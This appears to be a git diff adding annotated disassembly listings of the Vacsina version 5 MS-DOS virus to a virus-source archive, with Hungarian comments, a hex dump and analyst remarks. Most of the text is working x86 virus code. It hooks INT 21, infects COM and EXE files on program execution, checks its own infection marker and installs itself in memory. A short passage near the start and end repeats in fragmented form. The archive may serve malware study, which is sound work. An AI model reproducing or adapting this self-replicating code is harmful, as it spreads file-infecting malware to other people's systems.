Htrbbmozgats dokumentlsa + +041C 2E CS: +041D 8B9754FC MOV DX,[BX+FC54] ;MLB_HOSSZ=4C Virus ltal lefoglalt m + emriablokk hossza +0421 26 ES: +0422 29160300 SUB [0003],DX ;Az eredeti program mem.blokkjnak cs + kkentse +0426 26 ES: +0427 8C0E0100 MOV [0001],CS ;Uj gazda + + + ; Vrus visszamsolsa a szabadd tett helyre + +042B BF0000 MOV DI,0000 +042E 8BF3 MOV SI,BX ;bx=039F +0430 81C651FC ADD SI,FC51 ;FFF0 Vrus kezdete (mem.ler blokk + al egytt) +0434 B9B604 MOV CX,04B6 +0437 1E PUSH DS +0438 07 POP ES ;Vsszamsolunk +0439 0E PUSH CS +043A 1F POP DS ;es=ds ; ds=cs +043B F3 REPZ +043C A4 MOVSB + + + ; Egyb teendk (az j PSP miatt) + +043D 26 ES: +043E 832E030001 SUB WORD PTR [0003],+01 ;A mem.ler blokk hosszt nem kell s + zmolni! +0443 53 PUSH BX +0444 8CCB MOV BX,CS +0446 B450 MOV AH,50 ;SET_PSP (bx) +0448 CD21 INT 21 +044A 5B POP BX +044B 2E CS: +044C 8C0E3600 MOV [0036],CS ;PSP-n bell a gazda mehatrozsa +0450 2E CS: +0451 8B162C00 MOV DX,[002C] ;Environment szegmense +0455 4A DEC DX +0456 8EC2 MOV ES,DX ;Environment mem.ler blokkja +0458 26 ES: +0459 8C0E0100 MOV [0001],CS ;Uj gazda + + + ; INT 21 lekrdezse s trsa + +045D B82135 MOV AX,3521 ;GET_INT_VECT (es:bx) +0460 53 PUSH BX +0461 CD21 INT 21 +0463 36 SS: +0464 8C060200 MOV [0002],ES ;ERE_INT21+2 +0468 36 SS: +0469 891E0000 MOV [0000],BX ;ERE_INT21 +046D 5B POP BX +046E B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx) +0471 8CD2 MOV DX,SS +0473 8EDA MOV DS,DX +0475 BAC000 MOV DX,00C0 ;00C0-tl lesz az INT 21 rutin +0478 CD21 INT 21 + + + ; "A vrus mr a memriban van" jelzs + +047A B80000 MOV AX,0000 +047D 8EC0 MOV ES,AX +047F 26 ES: +0480 C706C5007F39 MOV WORD PTR [00C5],397F;Azonost sz +0486 26 ES: +0487 C606C70005 MOV BYTE PTR [00C7],05 ;Vrus verziszma + + + ; DTA belltsa (rosszul!) + +048C 8CC8 MOV AX,CS +048E 8ED8 MOV DS,AX +0490 B41A MOV AH,1A ;SET_DTA_ADDRESS (ds:dx) +0492 BA5000 MOV DX,0050 ;HIBA !!! 0080 kellene +0495 CD21 INT 21 + + + ; Az eredeti program futtatsra ugrs + +0497 2E CS: +0498 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) Megj.:Teljesen felesle + ges +049B E94EFF JMP 03EC + + + + ;--------------------------------------------------------------- + ; A file utols 8 byteja tartalmazza a fontos informcikat + ;--------------------------------------------------------------- + +049E ERE_HOSSZ DW ? ;A file eredeti hossza +04A0 ERE_2_3 DW ? ;A file eredeti 2.,3. byteja+0103 +04A2 AZONOSITO DW 7AF4 ;Azonostsz. Ez alapjn ismeri fel a fertz + st +04A4 VERZIOSZAM DB 5 ;Vrus verziszma +04A5 ERE_1 DB 0 ;Mg nem hasznlt (az els byte mindig E9) + + +Vrus elejnek hexa dump-ja: + +cs-1:0000 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............ +cs-1:0010 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......! +cs-1:0020 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA +cs-1:0030 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@.. +cs-1:0040 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........ +cs-1:0050 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ... + + +Megjegyzsek: + +- A file eredeti idejt nem kredezi le, s nem lltja vissza. +- DTA-t rosszul lltja be. Ez a gyermekbetegsg a ksbbi verzikban is megmara + dt. +- rdekes, hogy az EXE kdjt az 5A4D-t itt csak gy hasznlja, mg a ksbbi ve + rzik a 4D5A-t + is hasznljk. +- EXE-k COM-m alaktsa utn nem tudom, hogy mirt nem mindjrt a COM megfertz + se rszre ugrik. +- Jpr felesleges utasts van a kdban, ami mg a ksbbi verzikban is megmar + adt. +- A vrus egsz mkdse arra utal, hogy csak kisrletezsrl van sz. diff --git a/MSDOS/Virus.MSDOS.Unknown.vac_tp05.lst b/MSDOS/Virus.MSDOS.Unknown.vac_tp05.lst new file mode 100644 index 00000000..324a8704 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vac_tp05.lst @@ -0,0 +1,896 @@ + + *************************** + * A Vacsina 5-s verzija * + *************************** + +A vrus a memriban val elhelyezkedse s CS-e szerint van listzva. + +A vrus hossza COM fileban 1206D-1221D, EXE fileban 132D, illetve 1338D-1353D by + te. + +Nem zenl, semmi krt nem tesz. (Csak a fileok idejt nem lltja vissza. ) + +A fileokat a 4B DOS funkci meghvsakor fertzi meg. + +Egy file fertzttsgt az utols 8 bytebl llaptja meg. Bvebb lerst lsd + ott. Kirtsa is +ez alapjn trtnhet. + +1206D-nl hosszabb,62867D-nl rvidebb,JMP-pal kezdd COM fileokat, valamint a + 64947D-nl rvidebb +EXE fileokat fertzi.A COM fileokat paragrafushatrra kerekti, majd a lejjebb l + that formban +az egsz vrust a memrialer blokkjval egytt a filehoz msolja. Fertzs ut + n egy bip hangot +hallat. A fertzs idejre egy VACSINA nev filet megnyit, de semmit sem csinl + vele. Futtatskor +az eredeti 3 byteot nem rja vissza, hanem direkt oda ugrik, ahova a file elei J + MP mutatott. +EXE filehoz, ha a headerje stimmel, 0039-tl 0084 byteot fz (nincs kerekts). + Ez a rsz semmit +sem csinl, csak futtatja az eredeti EXE-t. Clja, hogy EXE-bl COM-ot csinljon + ,gy a vrus ksbb +mr megfertzheti.rdekes,hogy majdnem ugyanezt a kdsorozatot talltam tbb ere + deti MS-DOS 3.10-s +fileon (DEBUG,PRINT,...). Igy a vrusr ezt a rszt (az EXE-k reloklst) inne + n vette. Feltte- +lezem, hogy van egy olyan EXE2BIN program, ami nem reloklhat EXE-ket is COM-m + alakt. Innen +szrmazhat ez a kdrszlet. + +Azt, hogy mr a memriban van-e a Vacsina a 0000:00C5-n ehelyezett 397F azonos + tszbl llapitja +meg. 0000:00C7-re helyezi a vrus verziszmt. + + + +FFF0 MLB DB 4D ;A vrus egy kln memriablokkban helyezkedik + el. +FFF1 MLB_GAZDA DW ? ;Furcsa mdon ezt is "cipeli" magval +FFF3 MLB_HOSSZ DW ? ;Memriablokk hossza paragrafusokban +FFF5 DB 0B DUP ? + + + ;--------------------------------------------------------------- + ; Vltozk + ;--------------------------------------------------------------- + +0000 ERE_INT21 DD ? ;INT 21 eredeti cme +0004 ERE_INT24 DD ? ;INT 24 eredeti cme +0008 F_ATTR DW ? ;File eredeti attributtuma +000A HANDLE DW ? ;File handle +000C BUFFER DB 8 DUP (?) ;8 byte beffer + + + ; Egy szabvnyos FCB + +0014 FCB DB 0 ;Aktulis drive +0015 DB 'VACSINA ' ;File nv +0020 DW ? ;Kurrens blokk +0022 DW ? ;Rekordhossz +0024 DD ? ;File hossz +0028 DW ? ;Dtum +002A DW ? ;Id +002C DB 8 DUP (?) ;Lefoglalt +0034 DB ? ;Rekordszm a blokkban +0035 DD ? ;Random rekord + + + ;------------------------------------------------------------------ + ;EXE filehoz csak az innentl kezdd 0084 (132D) byteot rja hozz + ;------------------------------------------------------------------ + +0039 DB ' ' ;20 db SPC + + ORG 0045 ;tfeds 0045-004C-ig + +0045 KEZD_IP DW ? ;ip kezdeti rtke ez lesz +0047 KEZD_CS DW ? ;cs kezdeti rtke ez lesz +0049 KEZD_SP DW ? ;sp kezdeti rtke ez lesz +004B KEZD_SS DW ? ;ss kezdeti rtke ez lesz + + ;--------------------------------------------------------------- + ; Belpsi pont eredetileg EXE filenl + ;--------------------------------------------------------------- + ;Ezzel a rsszel ri el, hogy egy EXE file COM formtum legyen s lehessen + fertzni + +004D E80000 CALL 0050 +0050 5B * POP BX ;bx=0050 +0051 50 PUSH AX +0052 8CC0 MOV AX,ES +0054 051000 ADD AX,0010 ;ax a program leend elejre mutat +0057 8B0E0E01 MOV CX,[010E] ;Stack tvolsg +005B 03C8 ADD CX,AX ;Mi lesz ss kezdeti rtke +005D 894FFB MOV [BX-05],CX ;KEZD_SS (004B) +0060 8B0E1601 MOV CX,[0116] ;Kdterlet tvolsga +0064 03C8 ADD CX,AX +0066 894FF7 MOV [BX-09],CX ;KEZD_CS (0047) +0069 8B0E1001 MOV CX,[0110] ;sp kezdeti rtke +006D 894FF9 MOV [BX-07],CX ;KEZD_SP (0049) +0070 8B0E1401 MOV CX,[0114] ;ip kezdeti rtke +0074 894FF5 MOV [BX-0B],CX ;KEZD_IP (0045) +0077 8B3E1801 MOV DI,[0118] ;Els reklokcis bejegyzs +007B 8B160801 MOV DX,[0108] ;Header hossza paragrafusban +007F B104 MOV CL,04 +0081 D3E2 SHL DX,CL ;Header hossza byteokban +0083 8B0E0601 MOV CX,[0106] ;Relokcis bejegyzsek szma +0087 E317 JCXZ 00A0 ;Ugrs, ha nincs mit reloklni + + + ; Relokls ciklusa + +0089 26 * ES: +008A C5B50001 LDS SI,[DI+0100] ;Hol kell reloklni +008E 83C704 ADD DI,+04 ;Kvetkez relokcis bejegyzs +0091 8CDD MOV BP,DS +0093 26 ES: +0094 032E0801 ADD BP,[0108] ;Header hossza paragrafusban +0098 03E8 ADD BP,AX ;ax=program (file) valdi kezdete +009A 8EDD MOV DS,BP ;Itt kell reloklni +009C 0104 ADD [SI],AX ;Relokci +009E E2E9 LOOP 0089 + + + ; Az treloklt programot a helyre rakja + +00A0 0E * PUSH CS +00A1 1F POP DS ;ds=cs +00A2 BF0001 MOV DI,0100 +00A5 8BF2 MOV SI,DX ;dx=Header hossza byteokban +00A7 81C60001 ADD SI,0100 +00AB 8BCB MOV CX,BX ;Mennyi byteot kell mozgatni ? (Ez e + gy kicsit tbb) +00AD 2BCE SUB CX,SI +00AF F3 REPZ +00B0 A4 MOVSB + + + ; Az eredeti EXE program futtatsa + +00B1 58 POP AX ;ax eredeti rtke +00B2 FA CLI +00B3 8E57FB MOV SS,[BX-05] ;KEZD_SS +00B6 8B67F9 MOV SP,[BX-07] ;KEZD_SP +00B9 FB STI +00BA FF6FF5 JMP FAR [BX-0B] ;KEZD_IP, KEZD_CS + + + ;--------------------------------------------------------------- + ; INT 24 (DOS kritikus hibakezelje) + ;--------------------------------------------------------------- + + +00BD B003 * MOV AL,03 ;DOS hibt jelezzen +00BF CF IRET + + + ;--------------------------------------------------------------- + ; INT 21 (DOS belpsi pontja) + ;--------------------------------------------------------------- + ; Csak a 4B00 (EXECUTE) funkcinl avatkozik kzbe + +00C0 9C * PUSHF +00C1 3D004B CMP AX,4B00 +00C4 7406 JZ 00CC +00C6 9D POPF +00C7 2E CS: +00C8 FF2E0000 JMP FAR [0000] + + + + ; A DOS 4B00 alfunkcija + +00CC 06 * PUSH ES ;bp+10 +00CD 1E PUSH DS ;bp+0E +00CE 55 PUSH BP ;bp+0C +00CF 57 PUSH DI ;bp+0A +00D0 56 PUSH SI ;bp+08 +00D1 52 PUSH DX ;bp+06 +00D2 51 PUSH CX ;bp+04 +00D3 53 PUSH BX ;bp+02 +00D4 50 PUSH AX ;bp+00 +00D5 8BEC MOV BP,SP + + + ; INT 24 lekrdezse, trsa + +00D7 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx) +00DA CD21 INT 21 +00DC 2E CS: +00DD 8C060600 MOV [0006],ES ;ERE_INT24+2 +00E1 2E CS: +00E2 891E0400 MOV [0004],BX ;ERE_INT24 +00E6 0E PUSH CS +00E7 1F POP DS +00E8 BABD00 MOV DX,00BD +00EB B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) +00EE CD21 INT 21 + + + ; A VACSINA nev file megnyitsa (valsznleg a vrus nyomonkvetse miatt + ) + +00F0 0E PUSH CS ;Megj.:felesleges +00F1 1F POP DS +00F2 BA1400 MOV DX,0014 +00F5 B40F MOV AH,0F ;OPEN_FCB (ds:dx) +00F7 CD21 INT 21 + + + ; File eredeti attributtumnak lekrdezse, R/O bit trlse + +00F9 B80043 MOV AX,4300 ;GET_FILE_ATTR (cx) +00FC 8E5E0E MOV DS,[BP+0E] +00FF 8B5606 MOV DX,[BP+06] +0102 CD21 INT 21 +0104 7303 JNB 0109 +0106 E9DA01 JMP 02E3 ;Hibnl +0109 2E * CS: +010A 890E0800 MOV [0008],CX ;F_ATTR +010E B80143 MOV AX,4301 ;SET_FILE_ATTR (cx) +0111 80E1FE AND CL,FE ;R/O bit trlse +0114 CD21 INT 21 +0116 7303 JNB 011B +0118 E9C801 JMP 02E3 ;Hibnl + + + ; Clbavett file megnyitsa + ; HIBA !!! A file eredeti idejt nem krdezi le s nem lltja vissza. + +011B B8023D * MOV AX,3D02 ;OPEN_HANDLE (dx:dx) +011E 8E5E0E MOV DS,[BP+0E] +0121 8B5606 MOV DX,[BP+06] +0124 CD21 INT 21 +0126 7303 JNB 012B +0128 E9A801 JMP 02D3 ;Hibnl +012B 2E * CS: +012C A30A00 MOV [000A],AX ;HANDLE +012F 8BD8 MOV BX,AX + + + ; File els 6 bytejnak beolvassa a BUFFER-be + +0131 0E PUSH CS +0132 1F POP DS +0133 BA0C00 MOV DX,000C ;offset BUFFER +0136 B90600 MOV CX,0006 ;6 byte olvassa +0139 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx) +013B CD21 INT 21 +013D 7219 JB 0158 ;Hibnl +013F 3D0600 CMP AX,0006 +0142 7514 JNZ 0158 + + + ; EXE-e a kiszemelt file ? + +0144 2E CS: +0145 813E0C004D5A CMP WORD PTR [000C],5A4D;EXE file-e +014B 7503 JNZ 0150 +014D E9B501 JMP 0305 + + + ;--------------------------------------------------------------- + ; COM file + ;--------------------------------------------------------------- + +0150 2E * CS: +0151 803E0C00E9 CMP BYTE PTR [000C],E9 ;Csak akkor fertzzk, ha JMP-pal kez + ddik +0156 7403 JZ 015B + + + ; Segdugrs hibnl + +0158 E96F01 * JMP 02CA + + + ; 1206D < file hossz < 62867D + +015B B80242 * MOV AX,4202 ;File vgre lls +015E B90000 MOV CX,0000 +0161 8BD1 MOV DX,CX +0163 2E CS: +0164 8B1E0A00 MOV BX,[000A] ;HANDLE +0168 CD21 INT 21 ;dx:ax=file hossz +016A 72EC JB 0158 ;Hibnl +016C 83FA00 CMP DX,+00 +016F 75E7 JNZ 0158 +0171 3DB604 CMP AX,04B6 +0174 76E2 JBE 0158 +0176 3D93F5 CMP AX,F593 +0179 73DD JNB 0158 + + + ; File adatainak eltrolsa + +017B 2E CS: +017C A39E04 MOV [049E],AX ;ERE_HOSSZ +017F 2E CS: +0180 A10D00 MOV AX,[000D] ;File 2.,3. byteja +0183 050301 ADD AX,0103 ;+ 0103 +0186 2E CS: +0187 A3A004 MOV [04A0],AX ;ERE_2_3 + + + ; File utols 8 bytejnak beolvassa + +018A B80242 MOV AX,4202 ;File vge-8-dik pozcira +018D B9FFFF MOV CX,FFFF +0190 BAF8FF MOV DX,FFF8 +0193 2E CS: +0194 8B1E0A00 MOV BX,[000A] ;HANDLE +0198 CD21 INT 21 +019A 72BC JB 0158 ;Hibnl +019C 2E CS: +019D 8B1E0A00 MOV BX,[000A] ;HANDLE +01A1 0E PUSH CS +01A2 1F POP DS +01A3 BA0C00 MOV DX,000C ;offset BUFFER +01A6 B90800 MOV CX,0008 ;8 byte olvassa +01A9 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx) +01AB CD21 INT 21 +01AD 72A9 JB 0158 ;Hibnl +01AF 3D0800 CMP AX,0008 +01B2 75A4 JNZ 0158 ;Hibnl + + + ; Fertztt-e mr a file + +01B4 2E CS: +01B5 813E1000F47A CMP WORD PTR [0010],7AF4;Azonostsz +01BB 7577 JNZ 0234 ;Mg nem ferztt +01BD 2E CS: +01BE 833E120005 CMP WORD PTR [0012],+05 ;Verziszm +01C3 90 NOP +01C4 7392 JNB 0158 ;Nem fertzzk + + + ;--------------------------------------------------------------- + ; Egy korbbi Vacsina mr megfertzte (azt kirtja) + ;--------------------------------------------------------------- + ; Fertztt file eredeti adatai + +01C6 2E CS: +01C7 A10C00 MOV AX,[000C] ;ERE_HOSSZ +01CA 2E CS: +01CB A39E04 MOV [049E],AX ;ERE_HOSSZ +01CE 2E CS: +01CF A10E00 MOV AX,[000E] ;ERE_2_3 +01D2 2E CS: +01D3 A3A004 MOV [04A0],AX ;ERE_2_3 +01D6 2D0301 SUB AX,0103 +01D9 2E CS: +01DA A30C00 MOV [000C],AX ;Eredeti 2.,3. byteja a filenak + + + ; File eredeti 2.,3. bytejnak visszarsa + +01DD B80042 MOV AX,4200 ;File 2. bytejra ll +01E0 B90000 MOV CX,0000 +01E3 BA0100 MOV DX,0001 +01E6 2E CS: +01E7 8B1E0A00 MOV BX,[000A] ;HANDLE +01EB CD21 INT 21 +01ED 725F JB 024E ;Hibnl +01EF B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +01F1 0E PUSH CS +01F2 1F POP DS +01F3 BA0C00 MOV DX,000C ;offset BUFFER +01F6 B90200 MOV CX,0002 ;2 byte rsa +01F9 CD21 INT 21 +01FB 7251 JB 024E ;Hibnl +01FD 3D0200 CMP AX,0002 +0200 754C JNZ 024E ;Hibnl + + + ; Directory bejegyzs aktualizlsa + +0202 2E CS: +0203 8B1E0A00 MOV BX,[000A] ;HANDLE +0207 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) +0209 CD21 INT 21 +020B 7208 JB 0215 ;Hibnl +020D 8BD8 MOV BX,AX +020F B43E MOV AH,3E ;CLOSE_HANDLE (bx) +0211 CD21 INT 21 +0213 7239 JB 024E ;Hibnl + + + ; File eredeti mretre vgsa + +0215 B80042 MOV AX,4200 ;File eredeti vgre ll +0218 B90000 MOV CX,0000 +021B 2E CS: +021C 8B169E04 MOV DX,[049E] ;ERE_HOSSZ +0220 2E CS: +0221 8B1E0A00 MOV BX,[000A] ;HANDLE +0225 CD21 INT 21 +0227 7225 JB 024E ;Hibnl +0229 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +022B 0E PUSH CS +022C 1F POP DS +022D B90000 MOV CX,0000 ;Csonkols +0230 CD21 INT 21 +0232 721A JB 024E ;Hibnl + + + ; COM file megfertzse + ; Filehossz kerektse paragrafushatrra + +0234 B80042 * MOV AX,4200 +0237 B90000 MOV CX,0000 +023A 2E CS: +023B 8B169E04 MOV DX,[049E] ;ERE_HOSSZ +023F 83C20F ADD DX,+0F +0242 83E2F0 AND DX,-10 ;Kerekts +0245 2E CS: +0246 8B1E0A00 MOV BX,[000A] ;HANDLE +024A CD21 INT 21 +024C 7303 JNB 0251 + + + ; Segdugrs hibnl + +024E EB7A * JMP 02CA ;Hibnl +0250 90 NOP + + + ; A vrus memrialer blokkjval egytt hozzmsolja magt a filehoz + +0251 2E CS: +0252 8B1E0A00 MOV BX,[000A] ;HANDLE +0256 8CCA MOV DX,CS +0258 4A DEC DX +0259 8EDA MOV DS,DX ;ds=cs-1 (mem.ler blokkra mutat) +025B BA0000 MOV DX,0000 +025E B9B604 MOV CX,04B6 ;Vrus hossza (1206) +0261 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +0263 CD21 INT 21 +0265 72E7 JB 024E ;Hibnl +0267 3DB604 CMP AX,04B6 +026A 75E2 JNZ 024E ;Hibnl + + + ; Directory bejegyzs aktualizlsa + +026C 2E CS: +026D 8B1E0A00 MOV BX,[000A] ;HANDLE +0271 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) +0273 CD21 INT 21 +0275 7208 JB 027F ;Hibnl +0277 8BD8 MOV BX,AX +0279 B43E MOV AH,3E ;CLOSE_HANDLE (bx) +027B CD21 INT 21 +027D 72CF JB 024E ;Hibnl + + + ; File leend els 3 bytejnak kiszmtsa + +027F 2E CS: +0280 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP kdja +0285 2E CS: +0286 8B169E04 MOV DX,[049E] ;ERE_HOSSZ +028A 83C20F ADD DX,+0F +028D 83E2F0 AND DX,-10 ;Kerekts +0290 83EA03 SUB DX,+03 ;-3 a JMP miatt +0293 81C2AC03 ADD DX,03AC ;Belpsi pont eltolsa a file vgh + ez kpest +0297 2E CS: +0298 89160D00 MOV [000D],DX ;JMP operandusa + + + ; File els 3 bytejnak trsa + +029C B80042 MOV AX,4200 ;File elejre +029F B90000 MOV CX,0000 +02A2 8BD1 MOV DX,CX +02A4 2E CS: +02A5 8B1E0A00 MOV BX,[000A] ;HANDLE +02A9 CD21 INT 21 +02AB 72A1 JB 024E ;Hibnl +02AD 2E CS: +02AE 8B1E0A00 MOV BX,[000A] ;HANDLE +02B2 0E PUSH CS +02B3 1F POP DS +02B4 BA0C00 MOV DX,000C ;offset BEFFER +02B7 B90300 MOV CX,0003 ;3 byte rsa +02BA B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +02BC CD21 INT 21 +02BE 728E JB 024E ;Hibnl +02C0 3D0300 CMP AX,0003 +02C3 7589 JNZ 024E ;Hibnl + + + ; Egy BELL kiadsa (Valsznleg ez a verzi mg tesztpldny) + +02C5 B8070E MOV AX,0E07 ;WRITE_TELETYPE +02C8 CD10 INT 10 + + + ; File lezrsa + +02CA B43E * MOV AH,3E ;CLOSE_HANDLE (bx) +02CC 2E CS: +02CD 8B1E0A00 MOV BX,[000A] ;HANDLE +02D1 CD21 INT 21 + + + ; File eredeti attributtumnak visszalltsa + +02D3 B80143 * MOV AX,4301 ;SET_FILE_ATTR (cx) +02D6 8E5E0E MOV DS,[BP+0E] ;File nevre mutat +02D9 8B5606 MOV DX,[BP+06] +02DC 2E CS: +02DD 8B0E0800 MOV CX,[0008] ;F_ATTR +02E1 CD21 INT 21 + + + ; A VACSINA nev file lezrsa (j dtumot kap, semmi ms) + +02E3 0E * PUSH CS +02E4 1F POP DS +02E5 BA1400 MOV DX,0014 ;FCB +02E8 B410 MOV AH,10 ;CLOSE_FCB +02EA CD21 INT 21 + + + ; INT 24 visszarsa, eredeti DOS funkci hvsa + +02EC B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx) +02EF 2E CS: +02F0 C5160400 LDS DX,[0004] ;ERE_INT24 +02F4 CD21 INT 21 +02F6 58 POP AX +02F7 5B POP BX +02F8 59 POP CX +02F9 5A POP DX +02FA 5E POP SI +02FB 5F POP DI +02FC 5D POP BP +02FD 1F POP DS +02FE 07 POP ES +02FF 9D POPF +0300 2E CS: +0301 FF2E0000 JMP FAR [0000] ;ERE_INT21 + + + ;--------------------------------------------------------------- + ; EXE file COM-m alktsa + ;--------------------------------------------------------------- + ; file hossz < 64947D + +0305 B80242 * MOV AX,4202 ;File vgre ll +0308 B90000 MOV CX,0000 +030B 8BD1 MOV DX,CX +030D 2E CS: +030E 8B1E0A00 MOV BX,[000A] ;HANDLE +0312 CD21 INT 21 +0314 72B4 JB 02CA ;Hibnl +0316 83FA00 CMP DX,+00 +0319 75AF JNZ 02CA +031B 3DB3FD CMP AX,FDB3 ;64947D +031E 73AA JNB 02CA + + + ; Stimmel-e az EXE headerje? + +0320 2E CS: +0321 A39E04 MOV [049E],AX ;ERE_HOSSZ +0324 2E CS: +0325 A11000 MOV AX,[0010] ;Filehossz lapokban +0328 48 DEC AX +0329 B109 MOV CL,09 ;* 512D +032B D3E0 SHL AX,CL +032D 2E CS: +032E 03060E00 ADD AX,[000E] ;+a maradk +0332 2E CS: +0333 3B069E04 CMP AX,[049E] ;Egyezik-e a hosszal? +0337 7591 JNZ 02CA ;Ha nem + + + ; A vrus egy rszt hozzfzi az EXE-hez (Igy COM lehet majd az EXE) + +0339 2E CS: +033A 8B1E0A00 MOV BX,[000A] ;HANDLE +033E B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx) +0340 0E PUSH CS +0341 1F POP DS +0342 BA3900 MOV DX,0039 ;Innentl +0345 B98400 MOV CX,0084 ;132D byte kirsa +0348 CD21 INT 21 +034A 72C8 JB 0314 ;Hibnl +034C 3D8400 CMP AX,0084 +034F 75E6 JNZ 0337 ;Hibnl + + + ; Directory bejegyzs aktualizlsa + +0351 2E CS: +0352 8B1E0A00 MOV BX,[000A] ;HANDLE +0356 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx) +0358 CD21 INT 21 +035A 7208 JB 0364 ;Hibnl +035C 8BD8 MOV BX,AX +035E B43E MOV AH,3E ;CLOSE_HANDLE (bx) +0360 CD21 INT 21 +0362 72B0 JB 0314 ;Hibnl + + + ; File eljre + +0364 B80042 MOV AX,4200 +0367 B90000 MOV CX,0000 +036A 8BD1 MOV DX,CX +036C 2E CS: +036D 8B1E0A00 MOV BX,[000A] ;HANDLE +0371 CD21 INT 21 +0373 729F JB 0314 ;Hibnl + + + ; Leend els 3 byte kiszmtsa + +0375 2E CS: +0376 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP kdja +037B 2E CS: +037C A19E04 MOV AX,[049E] ;ERE_HOSSZ +037F 051100 ADD AX,0011 ;0039+0011+3=004D a belpsi pont +0382 2E CS: +0383 A30D00 MOV [000D],AX ;JMP operandusa + + + ; Az els 3 byte fellrsa + +0386 2E CS: +0387 8B1E0A00 MOV BX,[000A] ;HANDLE +038B B440 MOV AH,40 ;WRITE_HANDLE +038D 0E PUSH CS +038E 1F POP DS +038F BA0C00 MOV DX,000C ;offset BUFFER +0392 B90300 MOV CX,0003 ;3 byte rsa +0395 CD21 INT 21 ;COM tpus lesz a file +0397 E930FF JMP 02CA ;Vge + ;Megj.:Ha itt egy JMP 0150 llna egybl fertzhetne + EXE-t + + + ;--------------------------------------------------------------- + ; Vltoz (ax eredeti rtke) + ;--------------------------------------------------------------- + +039A ERE_AX DW ? + + + ;--------------------------------------------------------------- + ; Belpsi pont COM programnl + + ;--------------------------------------------------------------- + +039C E80000 * CALL 039F +039F 5B * POP BX ;bx=039F +03A0 2E CS: +03A1 8947FB MOV [BX-05],AX ;ERE_AX (039A) + + + ; Annak eldntse, hogy a memriban ven-e mr Vacsina + +03A4 B80000 MOV AX,0000 +03A7 8EC0 MOV ES,AX +03A9 26 ES: +03AA A1C500 MOV AX,[00C5] ;INT 31 vektornak 2.,3. byteja +03AD 3D7F39 CMP AX,397F ;Van-e mr Vacsina a memriban ? +03B0 7508 JNZ 03BA ;Ugrs, ha mg nem. +03B2 26 ES: +03B3 A0C700 MOV AL,[00C7] ;Memriban lv vrus verziszma +03B6 3C05 CMP AL,05 ;Ennek a vrusnak a verziszma +03B8 7332 JNB 03EC ;Ugrs, ha jjabb vagy ez a verzi + + + ; Van-e elg szadab memria + +03BA 8BD4 * MOV DX,SP +03BC 2BD3 SUB DX,BX +03BE 81EA6C0B SUB DX,0B6C +03C2 7228 JB 03EC ;Ugrs, ha nincs elg szabad memria + + + ;A vrus kln memriablokkba fog kerlni, aminek ler blokkja a vrus el + tt helyezkedik el. + ;Ennek a memriablokknak hosszt lltja itt be. + +03C4 BAC504 MOV DX,04C5 ;Vrus ltal ignyelt memria + 0F +03C7 B104 MOV CL,04 +03C9 D3EA SHR DX,CL ;DIV 10 +03CB 2E CS: +03CC 899754FC MOV [BX+FC54],DX ;MLB_HOSSZ (FFF3) Memrialer blokk + hossza + + + ; A vrus htrbb msolja magt (004C paragrafussal) + +03D0 8CD9 MOV CX,DS +03D2 03D1 ADD DX,CX +03D4 8EC2 MOV ES,DX ;Ide kell htrbbmozgatni mindent +03D6 8BF3 MOV SI,BX +03D8 81C651FC ADD SI,FC51 ;si=FFF0 (vrus a hozz csatolt mem + rialer blokkal) +03DC 8BFE MOV DI,SI ;Ugyanilyen offset helyre msol +03DE B9B604 MOV CX,04B6 ;Vrus hossza +03E1 FC CLD +03E2 F3 REPZ +03E3 A4 MOVSB + + + ; A vezrls tkerl a "msolat" vrusra + +03E4 06 PUSH ES +03E5 E80300 CALL 03EB +03E8 EB13 JMP 03FD ;es:03FD-n folytatdik +03EA 90 NOP +03EB CB * RETF + + + ; Az eredeti program futtatsa + +03EC 8CC8 * MOV AX,CS +03EE 8ED8 MOV DS,AX ;Szegmensregiszterek belltsa +03F0 8EC0 MOV ES,AX +03F2 8ED0 MOV SS,AX +03F4 2E CS: +03F5 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) +03F8 2E CS: +03F9 FFA70101 JMP [BX+0101] ;ERE_2_3 (04A0) Hol kezddtt az ered + eti program? + + + ; Ide kerl a vezrls a mr lemsolt vrusban (03E8-rl) + ; Az eredeti programot, PSP-jt, mem.ler blokkjt is htrbb mozgatjuk + +03FD BE0000 * MOV SI,0000 ;Megj.: felesleges +0400 BF0000 MOV DI,0000 +0403 8BCB MOV CX,BX ;bx=039F +0405 81C161FC ADD CX,FC61 ;cx=0000 (eredeti program+PSP+mem.le + r blokk hossza) +0409 8CC2 MOV DX,ES +040B 4A DEC DX +040C 8EC2 MOV ES,DX ;szegmens--, mert a mem.ler blokkot + is msoljuk +040E 8CDA MOV DX,DS +0410 4A DEC DX +0411 8EDA MOV DS,DX +0413 03F1 ADD SI,CX +0415 4E DEC SI ;Visszafel msolunk azrt kell +0416 8BFE MOV DI,SI +0418 FD STD +0419 F3 REPZ +041A A4 MOVSB +041B FC CLD + + + ; Htrbbmozgats dokumentlsa + +041C 2E CS: +041D 8B9754FC MOV DX,[BX+FC54] ;MLB_HOSSZ=4C Virus ltal lefoglalt m + emriablokk hossza +0421 26 ES: +0422 29160300 SUB [0003],DX ;Az eredeti program mem.blokkjnak cs + kkentse 